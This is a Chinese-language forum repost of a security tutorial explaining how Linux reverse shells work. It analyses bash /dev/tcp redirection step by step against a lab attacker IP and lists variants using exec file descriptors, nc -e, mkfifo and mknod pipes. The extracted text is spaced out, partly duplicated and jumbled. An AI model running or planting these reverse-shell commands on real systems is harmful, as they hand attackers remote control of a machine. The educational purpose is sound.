搜索

[21674] 2021-02-15_Linux反弹shell：反弹shell的本质

文档创建者：s7ckTeam
浏览次数：36
最后更新：2025-01-18
2021-02-15_Linux反弹shell：反弹shell的本质 L i n u x   反 弹 s h e l l ： 反 弹 s h e l l 的 本 质 L e m o n S e c   2 0 2 1 - 0 2 - 1 5 0 X 0 0   前 言 前 言 在 上 一 篇 文 章   L i n u x 反 弹 s h e l l （ 一 ） 文 件 描 述 符 与 重 定 向 ， 我 们 已 经 讨 论 过 了 反 弹 s h e l l 中 最 核 心 也 是 相 对 较 难 理 解 的 部 分 ， 那 么 接 下 来 我 们 就 可 以 正 式 借 反 弹 s h e l l 的 实 例 分 析 回 顾 前 一 篇 文 章 讲 的 知 识 ， 并 且 也 加 深 对 反 弹 s h e l l 的 理 解 吧 。 0 X 0 1   什 么 是 反 弹 什 么 是 反 弹 s h e l l r e v e r s e   s h e l l ， 就 是 控 制 端 监 听 在 某 T C P / U D P 端 口 ， 被 控 端 发 起 请 求 到 该 端 口 ， 并 将 其 命 令 行 的 输 入 输 出 转 到 控 制 端 。 r e v e r s e s h e l l 与 t e l n e t ， s s h 等 标 准 s h e l l 对 应 ， 本 质 上 是 网 络 概 念 的 客 户 端 与 服 务 端 的 角 色 反 转 。 0 X 0 2   为 什 么 要 反 弹 为 什 么 要 反 弹 s h e l l 通 常 用 于 被 控 端 因 防 火 墙 受 限 、 权 限 不 足 、 端 口 被 占 用 等 情 形 假 设 我 们 攻 击 了 一 台 机 器 ， 打 开 了 该 机 器 的 一 个 端 口 ， 攻 击 者 在 自 己 的 机 器 去 连 接 目 标 机 器 （ 目 标 i p ： 目 标 机 器 端 口 ） ， 这 是 比 较 常 规 的 形 式 ， 我 们 叫 做 正 向 连 接 。 远 程 桌 面 ， w e b 服 务 ， s s h ， t e l n e t 等 等 ， 都 是 正 向 连 接 。 那 么 什 么 情 况 下 正 向 连 接 不 太 好 用 了 呢 ？ 1 . 某 客 户 机 中 了 你 的 网 马 ， 但 是 它 在 局 域 网 内 ， 你 直 接 连 接 不 了 。 2 . 它 的 i p 会 动 态 改 变 ， 你 不 能 持 续 控 制 。 3 . 由 于 防 火 墙 等 限 制 ， 对 方 机 器 只 能 发 送 请 求 ， 不 能 接 收 请 求 。 4 . 对 于 病 毒 ， 木 马 ， 受 害 者 什 么 时 候 能 中 招 ， 对 方 的 网 络 环 境 是 什 么 样 的 ， 什 么 时 候 开 关 机 ， 都 是 未 知 ， 所 以 建 立 一 个 服 务 端 ， 让 恶 意 程 序 主 动 连 接 ， 才 是 上 策 。 那 么 反 弹 就 很 好 理 解 了 ，   攻 击 者 指 定 服 务 端 ， 受 害 者 主 机 主 动 连 接 攻 击 者 的 服 务 端 程 序 ， 就 叫 反 弹 连 接 。 0 X 0 3   反 弹 反 弹 s h e l l 的 本 质 是 什 么 的 本 质 是 什 么 我 们 可 以 先 以 一 个 l i n u x   下 的 反 弹 s h e l l   的 命 令 为 例 来 看 一 下 反 弹 s h e l l   的 命 令 都 做 了 些 什 么 ， 掌 握 了 反 弹 的 本 质 ， 再 多 的 方 法 其 实 只 是 换 了 包 装 而 已 。 实 验 环 境 ： 实 验 环 境 ： 受 害 者 ： 受 害 者 ： U b u n t u   L i n u x   - - - - - - >   1 9 2 . 1 6 8 . 1 4 6 . 1 2 8 攻 击 者 ： 攻 击 者 ： K a l i   L i n u x   - - - - - - >   1 9 2 . 1 6 8 . 1 4 6 . 1 2 9 我 们 就 以 最 常 见 的 b a s h 为 例 ： a t t a c k e r 机 器 上 执 行 ： v i c t i m   机 器 上 执 行 ： 你 就 会 看 到 下 图 ： 可 以 看 到 在 攻 击 机 上 出 现 了 受 害 者 机 器 的 s h e l l n c   - l v p   2 3 3 3 b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 4 6 . 1 2 9 / 2 3 3 3   0 > & 1
解 释 一 下 这 条 命 令 具 体 的 含 义 ： 1 . b a s h   - i 1 ） b a s h   是 l i n u x   的 一 个 比 较 常 见 的 s h e l l , 其 实 l i n u x 的 s h e l l 还 有 很 多 ， 比 如   s h 、 z s h 、 等 ， 他 们 之 间 有 着 细 小 差 别 2 ） - i   这 个 参 数 表 示 的 是 产 生 交 互 式 的 s h e l l 2 . / d e v / t c p / i p / p o r t / d e v / t c p | u d p / i p / p o r t   这 个 文 件 是 特 别 特 殊 的 ， 实 际 上 可 以 将 其 看 成 一 个 设 备 （ L i n u x 下 一 切 皆 文 件 ） ， 其 实 如 果 你 访 问 这 个 文 件 的 位 置 他 是 不 存 在 的 ， 如 下 图 ： 但 是 如 果 你 在 一 方 监 听 端 口 的 情 况 下 对 这 个 文 件 进 行 读 写 ， 就 能 实 现 与 监 听 端 口 的 服 务 器 的 s o c k e t 通 信 实 例 实 例 1 ： ： 我 们 输 出 字 符 串 到 这 个 文 件 里 攻 击 机 上 的 输 出 实 例 实 例 2 ： ： 攻 击 机 上 的 输 入 受 害 者 机 器 上 的 输 出 3 . 交 互 重 定 向 交 互 重 定 向 注 意 ： 注 意 ： 下 面 的 内 容 涉 及 到 比 较 复 杂 的 重 定 向 和 文 件 描 述 符 的 知 识 ， 如 果 理 解 不 够 深 入 建 议 看 完 我 的 上 一 篇 文 章 以 后 再 来 继 续 阅 读 ： 文 章 链 接 ： 文 章 链 接 ： L i n u x 反 弹 s h e l l （ 一 ） 文 件 描 述 符 与 重 定 向 为 了 实 现 交 互 ， 我 们 需 要 把 受 害 者 交 互 式 s h e l l 的 输 出 重 定 向 到 攻 击 机 上 在 受 害 者 机 器 上 输 入 示 意 图 ： b a s h   - i   >   / d e v / t c p / 1 9 2 . 1 6 8 . 1 4 6 . 1 2 9 / 2 3 3 3
如 下 图 所 示 ， 任 何 在 受 害 者 机 器 上 执 行 的 指 令 都 不 会 直 接 回 显 了 ， 而 是 在 攻 击 者 机 器 上 回 显 。 但 是 这 里 有 一 个 问 题 ， 攻 击 者 没 有 能 够 实 现 对 受 害 者 的 控 制 ， 攻 击 者 执 行 的 命 令 没 法 在 受 害 者 电 脑 上 执 行 。 于 是 我 们 似 乎 还 需 要 一 条 这 样 的 指 令 示 意 图 ： 这 条 指 令 的 意 思 是 将 攻 击 者 输 入 的 命 令 输 入 给 受 害 者 的 b a s h ， 自 然 就 能 执 行 了 b a s h   - i   <   / d e v / t c p / 1 9 2 . 1 6 8 . 1 4 6 . 1 2 9 / 2 3 3 3
现 在 我 们 需 要 将 两 条 指 令 结 合 起 来 （ 如 果 这 条 指 令 看 不 懂 可 以 去 看 一 下 我 上 面 提 供 的 文 章 的 链 接 再 回 来 看 这 条 指 令 ） ： 示 意 图 ： 由 这 张 示 意 图 可 以 很 清 楚 地 看 到 ， 输 入 由 这 张 示 意 图 可 以 很 清 楚 地 看 到 ， 输 入 0 是 由 是 由 / d e v / t c p / 1 9 2 . 1 6 8 . 1 4 6 . 1 2 9 / 2 3 3 3   输 入 的 ， 也 就 是 攻 击 机 的 输 入 ， 命 令 执 行 输 入 的 ， 也 就 是 攻 击 机 的 输 入 ， 命 令 执 行 的 结 果 的 结 果 1 ， 会 输 出 到 ， 会 输 出 到 / d e v / t c p / 1 9 2 . 1 6 8 . 1 5 6 . 1 2 9 / 2 3 3 3 上 ， 这 就 形 成 了 一 个 回 路 ， 实 现 了 我 们 远 程 交 互 式 上 ， 这 就 形 成 了 一 个 回 路 ， 实 现 了 我 们 远 程 交 互 式 s h e l l   的 功 能 的 功 能 如 下 图 所 示 ， 我 在 攻 击 机 上 输 入   i f c o n f i g ， 查 看 到 的 是 受 害 者 的 i p   ， 也 就 是 说 我 们 目 前 已 经 基 本 完 成 了 一 个 反 弹 s h e l l   的 功 能 。 b a s h   - i   >   / d e v / t c p / 1 9 2 . 1 6 8 . 1 4 6 . 1 2 9 / 2 3 3 3   0 > & 1
注 意 ： 注 意 ： 但 是 这 里 有 一 个 问 题 ， 就 是 我 们 在 受 害 者 机 器 上 依 然 能 看 到 我 们 在 攻 击 者 机 器 中 执 行 的 指 令   ， 如 下 图 所 示 ， 我 们 马 上 解 决 4 .   > & 、 、 & > 这 个 符 号 在 我 附 上 链 接 的 那 篇 文 章 中 也 提 到 了 ， 作 用 就 是 混 合 输 出 （ 错 误 、 正 确 输 出 都 输 出 到 一 个 地 方 ） 现 在 我 们 解 决 一 下 前 面 的 问 题 ： b a s h   - i   >   / d e v / t c p / 1 9 2 . 1 6 8 . 1 4 6 . 1 2 9 / 2 3 3 3   0 > & 1   2 > & 1
可 以 看 到 命 令 并 没 有 回 显 在 受 害 者 机 器 上 ， 我 们 的 目 的 达 成 了 当 然 我 们 也 可 以 执 行 与 之 完 全 等 价 的 指 令 至 此 ， 我 们 的 反 弹 至 此 ， 我 们 的 反 弹 s h e l l 的 经 典 语 句 就 分 析 完 了 ， 通 过 这 条 语 句 的 分 析 我 们 能 大 致 的 了 解 反 弹 的 经 典 语 句 就 分 析 完 了 ， 通 过 这 条 语 句 的 分 析 我 们 能 大 致 的 了 解 反 弹 s h e l l 的 本 质 ， 以 后 碰 到 的 本 质 ， 以 后 碰 到 其 他 的 反 弹 其 他 的 反 弹 s h e l l   的 语 句 也 能 用 类 似 的 分 析 方 法 区 分 析 ， 甚 至 我 们 也 可 以 自 己 举 一 反 三 创 造 更 加 绝 妙 的 反 弹 的 语 句 也 能 用 类 似 的 分 析 方 法 区 分 析 ， 甚 至 我 们 也 可 以 自 己 举 一 反 三 创 造 更 加 绝 妙 的 反 弹 s h e l l   的 语 的 语 句 句 0 X 0 4   常 见 的 反 弹 常 见 的 反 弹 s h e l l   的 语 句 怎 么 理 解 的 语 句 怎 么 理 解 1 . 方 法 一 方 法 一 和 这 里 的 唯 一 区 别 就 是   0 > & 1   和   0 < & 1   ， 其 实 就 是 打 开 方 式 的 不 同 ， 而 对 于 这 个 文 件 描 述 符 来 讲 并 没 有 什 么 区 别 （ 我 在 上 面 给 出 链 接 的 文 章 中 也 特 地 用 加 粗 的 形 式 解 释 了 ） 2 . 方 法 二 方 法 二 等 价 于 示 意 图 ： b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 4 6 . 1 2 9 / 2 3 3 3   0 > & 1 b a s h   - i > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 4 6 . 1 2 9 / 2 3 3 3   0 > & 1 b a s h   - i > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 4 6 . 1 2 9 / 2 3 3 3   0 < & 1 b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 4 6 . 1 2 9 / 2 3 3 3   < & 2 b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 4 6 . 1 2 9 / 2 3 3 3   0 < & 2
3 . 方 法 三 方 法 三 简 单 的 解 释 一 下 ： 简 单 的 解 释 一 下 ： 这 一 句 将 文 件 描 述 符 5 重 定 向 到 了   / d e v / t c p / 1 9 2 . 1 6 8 . 1 4 6 . 1 2 9 / 2 3 3 3   并 且 方 式 是 读 写 方 式 读 写 方 式 （ 这 种 方 法 在 我 的 前 面 的 文 章 中 也 讲 到 过 ） ， 于 是 我 们 就 能 通 过 文 件 描 述 符 对 这 个 s o c k e t 连 接 进 行 操 作 了 这 个 是 一 个 非 常 经 典 的 句 子 ， 它 的 原 句 是 这 样 的 从 文 件 中 依 次 读 取 每 一 行 ， 将 其 赋 值 给   l i n e   变 量 （ 当 然 这 里 变 量 可 以 很 多 ， 以 空 格 分 隔 ， 这 里 我 就 举 一 个 变 量 的 例 子 ， 如 果 是 一 个 变 量 的 话 ， 那 么 一 整 行 都 是 它 的 了 ） ， 之 后 再 在 循 环 中 对 l i n e 进 行 操 作 。 而 现 在 我 们 不 是 从 f i l e   文 件 中 输 入 了 ， 我 们 使 用 管 道 符 对 攻 击 者 机 器 上 输 入 的 命 令 依 次 执 行 ， 并 将 标 准 输 出 和 标 准 错 误 输 出 都 重 定 向 到 了 文 件 描 述 符 5 ， 也 就 是 攻 击 机 上 ， 实 现 交 互 式 s h e l l 的 功 能 。 与 之 完 全 类 似 的 还 有 下 面 这 条 指 令 ， 读 者 有 兴 趣 可 以 自 己 分 析 一 下 ： 4 . 方 法 四 方 法 四 n c   如 果 安 装 了 正 确 的 版 本 （ 存 在 - e   选 项 就 能 直 接 反 弹 s h e l l ） 但 是 如 果 是 没 有 - e   选 项 是 不 是 就 不 能 实 现 了 呢 ？ 当 然 不 是 ， 我 们 可 以 向 下 面 这 样 简 单 的 解 释 ： 简 单 的 解 释 ： m k f i f o   命 令 首 先 创 建 了 一 个 管 道 ， c a t   将 管 道 里 面 的 内 容 输 出 传 递 给 / b i n / s h ， s h 会 执 行 管 道 里 的 命 令 并 将 标 准 输 出 和 标 准 错 误 输 出 结 果 通 过 n c   传 到 该 管 道 ， 由 此 形 成 了 一 个 回 路 类 似 的 命 令 ： 0 X 0 5   总 结 总 结 反 弹 s h e l l 方 法 虽 然 常 见 ， 方 法 网 上 一 搜 就 是 一 大 把 的 代 码 ， 但 是 很 少 有 人 会 去 仔 细 斟 酌 反 弹 s h e l l 的 原 理 ， 我 也 看 到 有 类 似 的 文 章 ， 但 是 可 能 是 由 于 篇 幅 原 因 并 没 有 对 文 件 描 述 符 和 重 定 向 的 部 分 做 深 入 的 讨 论 ， 导 致 解 释 语 句 的 时 候 依 然 让 人 不 好 理 解 ， 于 是 这 次 我 分 成 了 两 篇 有 所 关 联 的 文 章 彻 底 的 剖 析 了 一 下 ， 个 人 认 为 这 个 原 理 是 非 常 值 得 大 家 思 考 的 ， 也 很 有 趣 ， 如 果 我 的 文 章 有 什 么 地 方 有 问 题 ， 希 望 大 家 及 时 联 系 我 。 个 人 博 客 ：   h t t p : / / w w w . k 0 r z 3 n . c o m 0 X 0 6   参 考 链 接 参 考 链 接 h t t p s : / / w w w . c n b l o g s . c o m / r 0 0 t g r o k / p / r e v e r s e _ s h e l l _ c h e a t s h e e t . h t m l h t t p : / / p e n t e s t m o n k e y . n e t / c h e a t - s h e e t / s h e l l s / r e v e r s e - s h e l l - c h e a t - s h e e t e x e c   5 < > / d e v / t c p / 1 9 2 . 1 6 8 . 1 4 6 . 1 2 9 / 2 3 3 3 ; c a t   < & 5 | w h i l e   r e a d   l i n e ; d o   $ l i n e   > & 5   2 > & 1 ; d o n e e x e c   5 < > / d e v / t c p / 1 9 2 . 1 6 8 . 1 4 6 . 1 2 9 / 2 3 3 3 c o m m a n d | w h i l e   r e a d   l i n e   d o   . . . . . d o n e w h i l e   r e a d   l i n e d o               … d o n e   <   f i l e 0 < & 1 9 6 ; e x e c   1 9 6 < > / d e v / t c p / a t t a c k e r i p / 4 4 4 4 ;   s h   < & 1 9 6   > & 1 9 6   2 > & 1 9 6 n c   - e   / b i n / s h   1 9 2 . 1 6 8 . 1 4 6 . 1 2 9   2 3 3 3 r m   / t m p / f ; m k f i f o   / t m p / f ; c a t   / t m p / f | / b i n / s h   - i   2 > & 1 | n c   1 9 2 . 1 6 8 . 1 4 6 . 1 2 9   2 3 3 3   > / t m p / f m k n o d   b a c k p i p e   p ;   n c   1 9 2 . 1 6 8 . 1 4 6 . 1 2 9   2 3 3 3   0 < b a c k p i p e   |   / b i n / b a s h   1 > b a c k p i p e   2 > b a c k p i p e
h t t p s : / / b l o g . c s d n . n e t / r o l e r _ / a r t i c l e / d e t a i l s / 1 7 5 0 4 0 3 9 h t t p : / / w w w . f r e e b u f . c o m / a r t i c l e s / s y s t e m / 1 5 3 9 8 6 . h t m l h t t p s : / / w w w . z h i h u . c o m / q u e s t i o n / 2 4 5 0 3 8 1 3 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 扫 描 关 注 扫 描 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理